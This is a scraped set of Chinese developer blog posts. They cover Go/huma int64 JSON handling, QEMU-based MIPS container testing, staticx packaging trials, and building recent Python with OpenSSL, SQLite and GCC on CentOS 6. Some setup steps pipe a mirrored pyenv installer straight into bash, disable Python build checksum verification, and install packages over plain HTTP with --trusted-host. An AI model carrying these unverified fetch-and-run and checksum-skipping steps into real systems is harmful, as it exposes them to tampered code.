搭建日志收集系统，该系统监控机器上 docker 容器日志，然后推送至 loki，使用 grafana 进行可视化查询\u003c/p\u003e\n\u003cp\u003e相比于之前在代码中使用 promtail sdk 进行日志推送的方案，该方案无需懂代码\u003c/p\u003e","title":"非侵入式容器日志收集"},{"content":"golang + huma 开发过程中，如果你有过前端开发的经验，可能知道最好将 bigint（int64）（比如雪花 id）序列化成字符串（因为 js 处理 bigint 需要额外的手段）\n但是这个需求在 huma 中有点麻烦\nTLDR huma/issues/698#issuecomment-3294634741\n详解 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 type BigInt int64 func (b *BigInt) UnmarshalJSON(data []byte) error { s := strings.Trim(string(data), `\u0026#34;`) if s == \u0026#34;\u0026#34; { *b = 0 return nil } n, err := strconv.ParseInt(s, 10, 64) if err != nil { return err } *b = BigInt(n) return nil } func (b BigInt) MarshalJSON() ([]byte, error) { return fmt.Appendf(nil, `\u0026#34;%d\u0026#34;`, b), nil } // Define schema to use wrapped type func (o BigInt) Schema(r huma.Registry) *huma.Schema { return huma.SchemaFromType(r, reflect.TypeOf(\u0026#34;\u0026#34;)) } type wrapperBigInt struct { b *BigInt } // implement encoding.TextUnmarshaler interface func (w *wrapperBigInt) UnmarshalText(text []byte) error { s := strings.Trim(string(text), `\u0026#34;`) if s == \u0026#34;\u0026#34; { *w.b = 0 return nil } n, err := strconv.ParseInt(s, 10, 64) if err != nil { return err } *w.b = BigInt(n) return nil } func (o *BigInt) Receiver() reflect.Value { a := new(wrapperBigInt) a.b = o return reflect.ValueOf(a).Elem() } 实现 json 序列化接口，使之在 json 序列化和反序列化中能正确表现为字符串 实现 huma 的 SchemaProvider​ 接口 Schema(r huma.Registry) *huma.Schema​，使该类型生成 openapi 文档时表现为 string 上面两步做完，就能正常序列化和反序列化出 json body 的参数，但是对于 query 和 path 参数不行，还需要继续 实现 huma 的 ParamWrapper​ 接口 Receiver() reflect.Value​ 使该类型在接收值时表现为一个 struct，来使该类型的解析走 encoding.TextUnmarshaler huma.go#L1560-L1565 配置 struct 同时将原始值的指针设置到一个字段上，实现 encoding.TextUnmarshaler 时将数字反序列化回原始值 ","permalink":"https://www.hacktech.cn/post/2025/09/how-to-use-inhuma-with-int64-2ojqvm/","summary":"\u003cp\u003egolang + huma 开发过程中，如果你有过前端开发的经验，可能知道最好将 bigint（int64）（比如雪花 id）序列化成字符串（因为 js 处理 bigint 需要额外的手段）\u003c/p\u003e","title":"huma 中如何和 int64 搭配使用"},{"content":"原文链接：搭建 golang mips 容器测试环境 | Akkuman 的技术博客\n背景 需要golang 编译 mips 程序，然后本地做测试\n注意 mips 架构分为很多，以下是名词和对应的含义区别：\nmips：32 位大端 mipsel/mipsle：32 位小端 mips64：64 位大端 mips64el/mips64le: 64 位小端 记录 编译 golang程序\n1 GOOS=linux GOARCH=mips GOMIPS=softfloat go build mips 环境\n1 2 3 4 docker run --rm --privileged multiarch/qemu-user-static:register --reset # https://github.com/multiarch/qemu-user-static/issues/15 find /proc/sys/fs/binfmt_misc -type f -name \u0026#34;*mipsn32*\u0026#34; -exec sh -c \u0026#39;echo -1 \u0026gt; {}\u0026#39; \\; docker run -it --rm multiarch/debian-debootstrap:mips-buster-slim 经过测试\nmultiarch/qemu-user-static 的环境太老，对 mips 32 bit 的支持有问题\n会报错\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 fatal error: sigaction failed runtime stack: runtime.throw({0xfd03e, 0x10}) runtime/panic.go:1101 +0x48 fp=0x7ffff074 sp=0x7ffff060 pc=0xa3e00 runtime.sysSigaction.func1() runtime/os_linux.go:553 +0x4c fp=0x7ffff080 sp=0x7ffff074 pc=0x9ef14 runtime.sysSigaction(0x41, 0x7ffff0a8, 0x0) runtime/os_linux.go:552 +0x7c fp=0x7ffff098 sp=0x7ffff080 pc=0x5b114 runtime.sigaction(...) runtime/sigaction.go:15 runtime.setsig(0x41, 0x7dba4) runtime/os_linux.go:500 +0xbc fp=0x7ffff0c4 sp=0x7ffff098 pc=0x5afe0 runtime.initsig(0x0) runtime/signal_unix.go:148 +0x2c0 fp=0x7ffff100 sp=0x7ffff0c4 pc=0x7d23c runtime.mstartm0() runtime/proc.go:1879 +0x70 fp=0x7ffff108 sp=0x7ffff100 pc=0x66508 runtime.mstart1() runtime/proc.go:1847 +0x94 fp=0x7ffff118 sp=0x7ffff108 pc=0x66400 runtime.mstart0() runtime/proc.go:1808 +0x7c fp=0x7ffff12c sp=0x7ffff118 pc=0x6634c runtime.mstart() runtime/asm_mipsx.s:89 +0x14 fp=0x7ffff130 sp=0x7ffff12c pc=0xa8894 goroutine 1 gp=0x400128 m=nil [runnable]: runtime.main() runtime/proc.go:147 fp=0x43e7ec sp=0x43e7ec pc=0x615f0 runtime.goexit({}) runtime/asm_mipsx.s:664 +0x4 fp=0x43e7ec sp=0x43e7ec pc=0xaad14 和 https://github.com/golang/go/issues/33746#issuecomment-588066863 中的报错类似\n尝试去 pkgs.org 找了个 arch linux 上最新版本的 qemu-user-static，把里面的 qemu-mips-static 拿出来，qemu-mips-static ./helloworld​ 可以正常运行\n说明新版本 qemu 有修复\n根据 Issues · multiarch/qemu-user-static 来看，tonistiigi/binfmt: Cross-platform emulator collection distributed with Docker images. 有新版本的 qemu\n但是下载看了下，支持的平台不包括 mips 32 位\n提了个 support mips 32 bit · Issue #255 · tonistiigi/binfmt\n希望作者能早日支持\n解决 不过弄出来一个另外的解决方案，就是结合新版本的 qemu-user-static 来使用，主要灵感来自于 使用 qemu-user-static 在 Docker 中生成容器异构 - 编程进阶之路 - SegmentFault 思否 中提到的将 qemu-user-static 挂载进去\n首先我们去 Search Results for qemu-user-static 找到 arch linux 的 qemu-user-static 包，比如我这里访问 qemu-user-static-10.0.2-1-x86_64.pkg.tar.zst Arch Linux Download ，得到包的下载地址，解压出来找到 qemu-mipsel-static（小端） 或 qemu-mips-static （大端）\n然后放到机器上，添加可执行权限\n然后按照如下\n1 2 3 4 docker run --rm --privileged multiarch/qemu-user-static:register --reset # https://github.com/multiarch/qemu-user-static/issues/15 find /proc/sys/fs/binfmt_misc -type f -name \u0026#34;*mipsn32*\u0026#34; -exec sh -c \u0026#39;echo -1 \u0026gt; {}\u0026#39; \\; docker run -it --rm -v ./qemu-mips-static:/usr/bin/qemu-mips-static multiarch/debian-debootstrap:mips-buster-slim 前两步的主要目的是预先把环境配置起来\n剩下的唯一的区别就是将 qemu-mips-static 挂载进去了\n这样 golang 编译产物就能正常执行，没有报错\n注意事项 如果你使用 garble，可能新版本会有问题，我提了个 mipsle arch broken · Issue #963 · burrowers/garble\n目前可降版本 go1.21.13+garble v0.12.1 来解决\n参考 Building Go Programs for MIPS - 独行的蚂蚁 - 博客 使用 qemu-user-static 在 Docker 中生成容器异构 - 编程进阶之路 - SegmentFault 思否 ","permalink":"https://www.hacktech.cn/post/2025/07/golang-mips-container-testing-environment-6k27j/","summary":"\u003cp\u003e原文链接：\u003ca href=\"https://www.hacktech.cn/post/2025/07/golang-mips-container-testing-environment-6k27j/\"\u003e搭建 golang mips 容器测试环境 | Akkuman 的技术博客\u003c/a\u003e\u003c/p\u003e\n\u003ch2 id=\"背景\"\u003e背景\u003c/h2\u003e\n\u003cp\u003e需要golang 编译 mips 程序，然后本地做测试\u003c/p\u003e\n\u003cp\u003e注意 mips 架构分为很多，以下是名词和对应的含义区别：\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003emips：32 位大端\u003c/li\u003e\n\u003cli\u003emipsel/mipsle：32 位小端\u003c/li\u003e\n\u003cli\u003emips64：64 位大端\u003c/li\u003e\n\u003cli\u003emips64el/mips64le: 64 位小端\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2 id=\"记录\"\u003e记录\u003c/h2\u003e\n\u003cp\u003e编译 golang程序\u003c/p\u003e","title":"搭建 golang mips 容器测试环境"},{"content":"原文链接：staticx 试用 | Akkuman 的技术博客\n介绍 staticx 是一个工具，可以将动态可执行文件与其库依赖项捆绑在一起，以便它们可以在任何地方运行，就像静态可执行文件一样\n测试目的 常规场景使用没有什么问题，本次测试目的是在 32 位系统上打包出一个静态可执行文件，使之能够在 centos 6 32 位和其他 64 位系统上运行\n流程 1 docker run --platform linux/386 -itd docker.io/library/debian:bookworm-slim bash 然后进入容器\n1 2 3 4 5 6 7 cd ~ apt update apt install -y python3-full musl-tools scons python3 -m venv venv # https://staticx.readthedocs.io/en/latest/installation.html#install-from-source BOOTLOADER_CC=/usr/bin/musl-gcc venv/bin/pip install https://github.com/JonathonReinhart/staticx/archive/master.zip -i http://mirrors.aliyun.com/pypi/simple/ --trusted-host mirrors.aliyun.com ~/venv/bin/pip3 install nuitka pyinstaller requests -i http://mirrors.aliyun.com/pypi/simple/ --trusted-host mirrors.aliyun.com 写一个测试程序\n1 2 3 4 5 import requests resp = requests.get(\u0026#39;https://www.baidu.com\u0026#39;) print(resp.text) 我们对 nuitka 和 pyinstaller 都试一下，根据 staticx 官方文档来看，对 pyinstaller 有特殊支持\nnuitka测试下来不行，使用 --standalone​ 编译的结果，然后使用 staticx，产物无法运行\n1 2 3 4 5 6 7 8 9 10 11 12 13 $ ./main.staticx.bin /tmp/staticx-MHcIOm/requests/__init__.py:86: RequestsDependencyWarning: Unable to find acceptable character detection dependency (chardet or charset_normalizer). Traceback (most recent call last): File \u0026#34;/tmp/staticx-MHcIOm/main.py\u0026#34;, line 3, in \u0026lt;module\u0026gt; File \u0026#34;/tmp/staticx-MHcIOm/requests/api.py\u0026#34;, line 73, in get File \u0026#34;/tmp/staticx-MHcIOm/requests/api.py\u0026#34;, line 59, in request File \u0026#34;/tmp/staticx-MHcIOm/requests/sessions.py\u0026#34;, line 589, in request File \u0026#34;/tmp/staticx-MHcIOm/requests/sessions.py\u0026#34;, line 703, in send File \u0026#34;/tmp/staticx-MHcIOm/requests/adapters.py\u0026#34;, line 667, in send File \u0026#34;/tmp/staticx-MHcIOm/urllib3/connectionpool.py\u0026#34;, line 766, in urlopen File \u0026#34;/tmp/staticx-MHcIOm/urllib3/connectionpool.py\u0026#34;, line 292, in _get_conn File \u0026#34;/tmp/staticx-MHcIOm/urllib3/connectionpool.py\u0026#34;, line 1057, in _new_conn ImportError: Can\u0026#39;t connect to HTTPS URL because the SSL module is not available. 使用 nuitka + --standalone --onefile​，产物也无法运行\n1 2 $ ./main.staticx.bin Error, couldn\u0026#39;t find attached data header. 使用 pyinstaller + onefile 试试\n产物可以运行\n然后拷贝到其他 64 位机器上可以运行\n拷贝到 centos6 32 位，报错\n1 /tmp/staticx-hbjNPa/main: error while loading shared libraries: libnssfix.so: cannot stat shared object: Invalid argument 然后我们在 centos 6 32 位系统上安装 python 3.11（实测 3.12 编译安装 staticx 报错）\n然后打包\n1 2 ~/venv311/bin/pyinstaller -F main.py ~/venv311/bin/staticx ./dist/main main.s.bin 报错\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 Traceback (most recent call last): File \u0026#34;/root/venv311/lib/python3.11/site-packages/staticx/api.py\u0026#34;, line 134, in generate run_hooks(self) File \u0026#34;/root/venv311/lib/python3.11/site-packages/staticx/hooks/__init__.py\u0026#34;, line 12, in run_hooks hook(sx) File \u0026#34;/root/venv311/lib/python3.11/site-packages/staticx/hooks/pyinstaller.py\u0026#34;, line 49, in process_pyinstaller_archive h.process() File \u0026#34;/root/venv311/lib/python3.11/site-packages/staticx/hooks/pyinstaller.py\u0026#34;, line 76, in process self._add_required_deps(binary) File \u0026#34;/root/venv311/lib/python3.11/site-packages/staticx/hooks/pyinstaller.py\u0026#34;, line 152, in _add_required_deps self.sx.add_library(deppath, exist_ok=True) File \u0026#34;/root/venv311/lib/python3.11/site-packages/staticx/api.py\u0026#34;, line 171, in add_library libpath = self._handle_lib_symlinks(libpath) ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ File \u0026#34;/root/venv311/lib/python3.11/site-packages/staticx/api.py\u0026#34;, line 236, in _handle_lib_symlinks self.sxar.add_symlink(arcname, target) File \u0026#34;/root/venv311/lib/python3.11/site-packages/staticx/archive.py\u0026#34;, line 95, in add_symlink self.tar.addfile(t) File \u0026#34;/root/.pyenv/versions/3.11.13/lib/python3.11/tarfile.py\u0026#34;, line 2250, in addfile self.fileobj.write(buf) File \u0026#34;/root/.pyenv/versions/3.11.13/lib/python3.11/lzma.py\u0026#34;, line 240, in write compressed = self._compressor.compress(data) ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ _lzma.LZMAError: Internal error During handling of the above exception, another exception occurred: Traceback (most recent call last): File \u0026#34;/root/venv311/lib/python3.11/site-packages/staticx/api.py\u0026#34;, line 328, in generate gen.generate(output=output) File \u0026#34;/root/venv311/lib/python3.11/site-packages/staticx/api.py\u0026#34;, line 133, in generate with self.sxar as ar: File \u0026#34;/root/venv311/lib/python3.11/site-packages/staticx/archive.py\u0026#34;, line 72, in __exit__ self.close() File \u0026#34;/root/venv311/lib/python3.11/site-packages/staticx/archive.py\u0026#34;, line 78, in close self.tar.close() File \u0026#34;/root/.pyenv/versions/3.11.13/lib/python3.11/tarfile.py\u0026#34;, line 2013, in close self.fileobj.write(NUL * (BLOCKSIZE * 2)) File \u0026#34;/root/.pyenv/versions/3.11.13/lib/python3.11/lzma.py\u0026#34;, line 240, in write compressed = self._compressor.compress(data) ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ _lzma.LZMAError: Internal error During handling of the above exception, another exception occurred: Traceback (most recent call last): File \u0026#34;/root/venv311/bin/staticx\u0026#34;, line 8, in \u0026lt;module\u0026gt; sys.exit(main()) ^^^^^^ File \u0026#34;/root/venv311/lib/python3.11/site-packages/staticx/__main__.py\u0026#34;, line 49, in main generate(args.prog, args.output, File \u0026#34;/root/venv311/lib/python3.11/site-packages/staticx/api.py\u0026#34;, line 324, in generate with gen: File \u0026#34;/root/venv311/lib/python3.11/site-packages/staticx/api.py\u0026#34;, line 55, in __exit__ self._cleanup() File \u0026#34;/root/venv311/lib/python3.11/site-packages/staticx/api.py\u0026#34;, line 71, in _cleanup self.sxar.close() File \u0026#34;/root/venv311/lib/python3.11/site-packages/staticx/archive.py\u0026#34;, line 82, in close self.xzf.close() File \u0026#34;/root/.pyenv/versions/3.11.13/lib/python3.11/lzma.py\u0026#34;, line 147, in close self._fp.write(self._compressor.flush()) ^^^^^^^^^^^^^^^^^^^^^^^^ _lzma.LZMAError: Internal error 我们换个命令\n1 ~/venv311/bin/staticx --no-compress ./dist/main main.s.bin 执行 main.s.bin​\n有点小问题，但是能执行\n1 2 3 4 5 6 __nss_configure_lookup(\u0026#34;gshadow\u0026#34;, \u0026#34;files\u0026#34;) failed: Invalid argument __nss_configure_lookup(\u0026#34;initgroups\u0026#34;, \u0026#34;files\u0026#34;) failed: Invalid argument __nss_configure_lookup(\u0026#34;gshadow\u0026#34;, \u0026#34;files\u0026#34;) failed: Invalid argument __nss_configure_lookup(\u0026#34;initgroups\u0026#34;, \u0026#34;files\u0026#34;) failed: Invalid argument \u0026lt;!DOCTYPE html\u0026gt; \u0026lt;!--STATUS OK--\u0026gt;\u0026lt;html\u0026gt; \u0026lt;head\u0026gt;... 留了个 __nss_configure_lookup Invalid argument · Issue #294 · JonathonReinhart/staticx\n","permalink":"https://www.hacktech.cn/post/2025/07/staticx-trial-e0ngr/","summary":"\u003cp\u003e原文链接：\u003ca href=\"https://www.hacktech.cn/post/2025/07/staticx-trial-e0ngr/\"\u003estaticx 试用 | Akkuman 的技术博客\u003c/a\u003e\u003c/p\u003e\n\u003ch2 id=\"介绍\"\u003e介绍\u003c/h2\u003e\n\u003cp\u003estaticx 是一个工具，可以将动态可执行文件与其库依赖项捆绑在一起，以便它们可以在任何地方运行，就像静态可执行文件一样\u003c/p\u003e","title":"staticx 试用"},{"content":"原文链接：centos6使用高版本python | Akkuman 的技术博客\n背景 需要能在 centos 6.3 上跑的 python 3.10 3.12\n并且需要支持 pandas/numpy 科学库，能使用 nuitka 打包\n官方版本肯定是跑不起来的\n根据之前的 ansible-playbook 独立二进制编译实录 中提到的参考来看\n笔记 64 位系统 首先找个 centos 6.3 镜像\n1 2 docker run --name centos6 -itd matrim/centos6.3:latest bash docker exec -it centos6 bash 然后换一下镜像 centos-vault镜像_centos-vault下载地址_centos-vault安装教程-阿里巴巴开源镜像站\n由于 centos 6.3 的源中的 nss 版本过低，会导致 curl 出现 curl: (35) SSL connect error 这种问题，并且很多和 https 相关的比如 git 都会出问题，查了下 centos 6.3 和 6.10 的 glibc 版本都是 2.12，所以直接用 6.10 的源即可\n1 2 3 4 5 minorver=6.10 sed -e \u0026#34;s|^mirrorlist=|#mirrorlist=|g\u0026#34; \\ -e \u0026#34;s|^#baseurl=http://mirror.centos.org/centos/\\$releasever|baseurl=http://mirrors.aliyun.com/centos-vault/$minorver|g\u0026#34; \\ -i.bak \\ /etc/yum.repos.d/CentOS-*.repo 然后安装 pyenv，设置 pyenv 拉取镜像，安装 python 编译依赖\n1 2 3 4 5 6 7 8 yum install git # pyenv 相关环境变量 export PYTHON_BUILD_MIRROR_URL_SKIP_CHECKSUM=1 export PYTHON_BUILD_MIRROR_URL=\u0026#34;https://registry.npmmirror.com/-/binary/python\u0026#34; export PATH=\u0026#34;/root/.pyenv/bin:$PATH\u0026#34; # 换成 github 镜像拉取 export GITHUB_MIRROR=\u0026#34;https://ghfast.top/https://github.com/\u0026#34; curl -L https://files.m.daocloud.io/raw.githubusercontent.com/yyuu/pyenv-installer/master/bin/pyenv-installer | sed \u0026#39;s|-c advice.detachedHead=0 -c core.autocrlf=false||g\u0026#39; | sed \u0026#39;s|GITHUB=\u0026#34;https://github.com/\u0026#34;|GITHUB=\u0026#34;\u0026#39;$GITHUB_MIRROR\u0026#39;\u0026#34;|g\u0026#39; | bash 其中因为 git clone​ 使用了 -c advice.detachedHead=0 -c core.autocrlf=false​，而低版本 git 不支持，所以我们需要去除，然后使用了 github 镜像来拉取 pyenv 相关的 git 仓库\n1 2 3 4 5 6 7 8 9 10 11 12 13 # 安装 python 编译依赖 yum groupinstall -y \u0026#34;Development Tools\u0026#34; yum install -y \\ bzip2-devel \\ ncurses-devel \\ libffi-devel \\ openssl-devel \\ readline-devel \\ sqlite-devel \\ zlib-devel \\ gdbm-devel \\ xz-devel \\ tk-devel 我们先试试编译安装 python 3.9\n1 pyenv install 3.9 报错如下\n1 2 3 4 5 6 Traceback (most recent call last): File \u0026#34;\u0026lt;string\u0026gt;\u0026#34;, line 1, in \u0026lt;module\u0026gt; File \u0026#34;/root/.pyenv/versions/3.9.23/lib/python3.9/ssl.py\u0026#34;, line 99, in \u0026lt;module\u0026gt; import _ssl # if we can\u0026#39;t import it, let the error propagate ModuleNotFoundError: No module named \u0026#39;_ssl\u0026#39; ERROR: The Python ssl extension was not compiled. Missing the OpenSSL lib? 查询了一下， CentOS 6 默认的 OpenSSL 1.0.1e 太旧，Python 3.9+ 需要 OpenSSL 1.1.1+\n1 2 bash-4.1# openssl version OpenSSL 1.0.1e-fips 11 Feb 2013 尝试手动编译 openssl\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 # 下载最新 OpenSSL 1.1.1 curl -o openssl-1.1.1w.tar.gz https://files.m.daocloud.io/github.com/openssl/openssl/releases/download/OpenSSL_1_1_1w/openssl-1.1.1w.tar.gz tar -xf openssl-1.1.1w.tar.gz cd openssl-1.1.1w # 编译安装到 /usr/local/openssl ./config --prefix=/usr/local/openssl --openssldir=/usr/local/openssl shared zlib make -j$(nproc) make install # 更新动态库链接 echo \u0026#34;/usr/local/openssl/lib\u0026#34; \u0026gt; /etc/ld.so.conf.d/openssl.conf ldconfig # 验证新版本 /usr/local/openssl/bin/openssl version # 应输出 OpenSSL 1.1.1w 然后再编译\n1 2 # https://github.com/pyenv/pyenv/wiki/common-build-problems#1-openssl-is-installed-to-an-uncommon-location PYTHON_CONFIGURE_OPTS=\u0026#34;--with-openssl=/usr/local/openssl\u0026#34; pyenv install 3.9 此时已经编译出产物了，但是还是有出现类似的报错\n1 2 3 4 5 6 7 8 Traceback (most recent call last): File \u0026#34;\u0026lt;string\u0026gt;\u0026#34;, line 1, in \u0026lt;module\u0026gt; File \u0026#34;/root/.pyenv/versions/3.9.23/lib/python3.9/sqlite3/__init__.py\u0026#34;, line 57, in \u0026lt;module\u0026gt; from sqlite3.dbapi2 import * File \u0026#34;/root/.pyenv/versions/3.9.23/lib/python3.9/sqlite3/dbapi2.py\u0026#34;, line 27, in \u0026lt;module\u0026gt; from _sqlite3 import * ModuleNotFoundError: No module named \u0026#39;_sqlite3\u0026#39; WARNING: The Python sqlite3 extension was not compiled. Missing the SQLite3 lib? 手动编译 sqlite3\n1 2 3 4 5 6 wget https://www.sqlite.org/2023/sqlite-autoconf-3420000.tar.gz tar -xf sqlite-autoconf-3420000.tar.gz cd sqlite-autoconf-3420000 ./configure --prefix=/usr make -j$(nproc) make install 然后重新编译安装\n1 PYTHON_CONFIGURE_OPTS=\u0026#34;--enable-loadable-sqlite-extensions --with-openssl=/usr/local/openssl\u0026#34; pyenv install 3.10 可以了，python 3.12 也没问题\n但是安装 pandas 时报错如下\n1 ../meson.build:28:4: ERROR: Problem encountered: NumPy requires GCC \u0026gt;= 8.4 手动编译 gcc 时间可太久了，用 clang 试试呢\n1 2 3 4 5 6 7 8 9 10 11 # 安装 epel 源 rpm -Uvh http://mirrors.aliyun.com/epel-archive/6/x86_64/epel-release-6-8.noarch.rpm sed -e \u0026#39;s!^mirrorlist=!#mirrorlist=!g\u0026#39; \\ -e \u0026#39;s!^#baseurl=!baseurl=!g\u0026#39; \\ -e \u0026#39;s!https\\?://download\\.fedoraproject\\.org/pub/epel!http://mirrors.aliyun.com/epel-archive!g\u0026#39; \\ -e \u0026#39;s!https\\?://download\\.example/pub/epel!http://mirrors.aliyun.com/epel-archive!g\u0026#39; \\ -i /etc/yum.repos.d/epel{,-testing}.repo # 安装 clang yum install clang # 使用 clang 编译 CC=clang CXX=clang++ ~/.pyenv/versions/3.10.18/bin/pip install pandas -i http://mirrors.aliyun.com/pypi/simple/ --trusted-host mirrors.aliyun.com 还是报错\n1 ERROR: C++ Compiler does not support -std=c++17 经过查阅，numpy​ 的编译失败，原因是 C++ 编译器不支持 C++17 标准（ERROR: C++ Compiler does not support -std=c++17​）。此外，你的 clang​ 版本是 3.4.2，而 numpy​ 2.2.6 需要支持 C++17 的编译器（如 gcc\u0026gt;=8​ 或 clang\u0026gt;=7​）\n无论是手动编译 gcc，还是手动编译 clang，耗时都太长了，看看有没有人有编译好的东西\n找到了两个\nispras/centos6.9-build-docker: CentOS 6.9 build Docker environment to distribute portable Linux binaries opencfs/centos6-gcc9 - Docker Image | Docker Hub 我们拿 centos6.9-build 来测试\n依旧是安装 pyenv，然后是安装 python 编译依赖（不要安装 openssl-devel，以免覆盖掉 openssl 1.1.1i ），然后编译 sqlite3。然后继续使用 pyenv 编译\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 yum install -y \\ bzip2-devel \\ ncurses-devel \\ libffi-devel \\ readline-devel \\ zlib-devel \\ gdbm-devel \\ xz-devel \\ tk-devel wget https://www.sqlite.org/2023/sqlite-autoconf-3420000.tar.gz tar -xf sqlite-autoconf-3420000.tar.gz cd sqlite-autoconf-3420000 ./configure --prefix=/usr/local/sqlite3 make -j$(nproc) make install echo \u0026#34;/usr/local/sqlite3/lib\u0026#34; \u0026gt; /etc/ld.so.conf.d/sqlite3.conf ldconfig pyenv install 3.12 测试安装 pandas 没问题\n32 位系统 按照 ispras/centos6.9-build-docker: CentOS 6.9 build Docker environment to distribute portable Linux binaries 中的 Dockerfile，安装 gcc 9.3\n然后按照上面的方式编译安装 python\n如果打包出来的东西你想放到其他机器上运行，你可能需要使用 LDFLAGS=\u0026quot;-static-libgcc -static-libstdc++\u0026quot;​ 来编译这些东西\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 # 镜像源 minorver=6.10 sed -e \u0026#34;s|^mirrorlist=|#mirrorlist=|g\u0026#34; \\ -e \u0026#34;s|^#baseurl=http://mirror.centos.org/centos/\\$releasever|baseurl=http://mirrors.aliyun.com/centos-vault/$minorver|g\u0026#34; \\ -i.bak \\ /etc/yum.repos.d/CentOS-*.repo rpm -Uvh http://mirrors.aliyun.com/epel-archive/6/x86_64/epel-release-6-8.noarch.rpm sed -e \u0026#39;s!^mirrorlist=!#mirrorlist=!g\u0026#39; \\ -e \u0026#39;s!^#baseurl=!baseurl=!g\u0026#39; \\ -e \u0026#39;s!https\\?://download\\.fedoraproject\\.org/pub/epel!http://mirrors.aliyun.com/epel-archive!g\u0026#39; \\ -e \u0026#39;s!https\\?://download\\.example/pub/epel!http://mirrors.aliyun.com/epel-archive!g\u0026#39; \\ -i /etc/yum.repos.d/epel{,-testing}.repo # 安装基础依赖 yum -y install gcc gcc-c++ glibc-devel.i686 glibc-devel \\ libstdc++-devel.i686 libstdc++-devel make zlib-devel \\ python-devel git wget unzip xz bzip2 lzop re2c \\ texi2html texinfo libffi-devel m4 glibc-static ccache # 编译安装 openssl 1.1.1（高版本 python 依赖） curl -O -L https://files.m.daocloud.io/github.com/openssl/openssl/releases/download/OpenSSL_1_1_1i/openssl-1.1.1i.tar.gz \u0026amp;\u0026amp; \\ tar xf openssl-1.1.1i.tar.gz \u0026amp;\u0026amp; rm -rf openssl-1.1.1i.tar.gz \u0026amp;\u0026amp; \\ cd openssl-1.1.1i \u0026amp;\u0026amp; ./config --prefix=/usr \u0026amp;\u0026amp; \\ sed -i \u0026#39;/^CFLAG/s/$/ -fPIC/\u0026#39; Makefile \u0026amp;\u0026amp; \\ make -j$(nproc) \u0026amp;\u0026amp; make install \u0026amp;\u0026amp; cd .. \u0026amp;\u0026amp; rm -rf openssl-1.1.1i # 编译安装 sqlite3 高版本（高版本 python 依赖） wget https://www.sqlite.org/2023/sqlite-autoconf-3420000.tar.gz \u0026amp;\u0026amp; \\ tar -xf sqlite-autoconf-3420000.tar.gz \u0026amp;\u0026amp; rm -rf sqlite-autoconf-3420000.tar.gz \u0026amp;\u0026amp; \\ cd sqlite-autoconf-3420000 \u0026amp;\u0026amp; \\ ./configure --prefix=/usr \u0026amp;\u0026amp; \\ make -j$(nproc) \u0026amp;\u0026amp; make install \u0026amp;\u0026amp; cd .. \u0026amp;\u0026amp; rm -rf sqlite-autoconf-3420000 # 安装 cmake （目前没看到高版本 cmake 的要求，如果后续出现，可能需要自行编译） yum install -y cmake # 编译安装 binutils curl -O -L https://mirrors.aliyun.com/gnu/binutils/binutils-2.34.tar.xz \u0026amp;\u0026amp; \\ tar xf binutils-2.34.tar.xz \u0026amp;\u0026amp; rm -rf binutils-2.34.tar.xz \u0026amp;\u0026amp; \\ cd binutils-2.34 \u0026amp;\u0026amp; \\ ./configure --prefix=/usr \u0026amp;\u0026amp; make -j$(nproc) \u0026amp;\u0026amp; make install \u0026amp;\u0026amp; \\ cd .. \u0026amp;\u0026amp; rm -rf binutils-2.34 # 编译安装 gcc 9.3（numpy 编译安装要求 c++17，或者 gcc \u0026gt;= 8.4） curl -O -L https://mirrors.aliyun.com/gnu/gcc/gcc-9.3.0/gcc-9.3.0.tar.xz \u0026amp;\u0026amp; \\ tar xf gcc-9.3.0.tar.xz \u0026amp;\u0026amp; rm -rf gcc-9.3.0.tar.xz \u0026amp;\u0026amp; \\ cd gcc-9.3.0 \u0026amp;\u0026amp; \\ contrib/download_prerequisites \u0026amp;\u0026amp; \\ mkdir ../gcc-build \u0026amp;\u0026amp; cd ../gcc-build \u0026amp;\u0026amp; \\ ../gcc-9.3.0/configure --prefix=/usr --enable-languages=c,c++ --enable-multilib \u0026amp;\u0026amp; \\ make -j$(nproc) \u0026amp;\u0026amp; make install \u0026amp;\u0026amp; \\ cd .. \u0026amp;\u0026amp; rm -rf gcc-9.3.0 gcc-build # 安装 pyenv yum install -y git curl echo \u0026#39;export PYTHON_BUILD_MIRROR_URL_SKIP_CHECKSUM=1\u0026#39; \u0026gt;\u0026gt; ~/.bashrc echo \u0026#39;export PYTHON_BUILD_MIRROR_URL=\u0026#34;https://registry.npmmirror.com/-/binary/python\u0026#34;\u0026#39; \u0026gt;\u0026gt; ~/.bashrc export GITHUB_MIRROR=\u0026#34;https://ghfast.top/https://github.com/\u0026#34; curl -L https://files.m.daocloud.io/raw.githubusercontent.com/yyuu/pyenv-installer/master/bin/pyenv-installer | sed \u0026#39;s|-c advice.detachedHead=0 -c core.autocrlf=false||g\u0026#39; | sed \u0026#39;s|GITHUB=\u0026#34;https://github.com/\u0026#34;|GITHUB=\u0026#34;\u0026#39;$GITHUB_MIRROR\u0026#39;\u0026#34;|g\u0026#39; | bash cat \u0026gt;\u0026gt; ~/.bashrc \u0026lt;\u0026lt;EOF export PYENV_ROOT=\u0026#34;$HOME/.pyenv\u0026#34; [[ -d $PYENV_ROOT/bin ]] \u0026amp;\u0026amp; export PATH=\u0026#34;$PYENV_ROOT/bin:$PATH\u0026#34; eval \u0026#34;$(pyenv init - bash)\u0026#34; # Restart your shell for the changes to take effect. # Load pyenv-virtualenv automatically by adding # the following to ~/.bashrc: eval \u0026#34;$(pyenv virtualenv-init -)\u0026#34; EOF 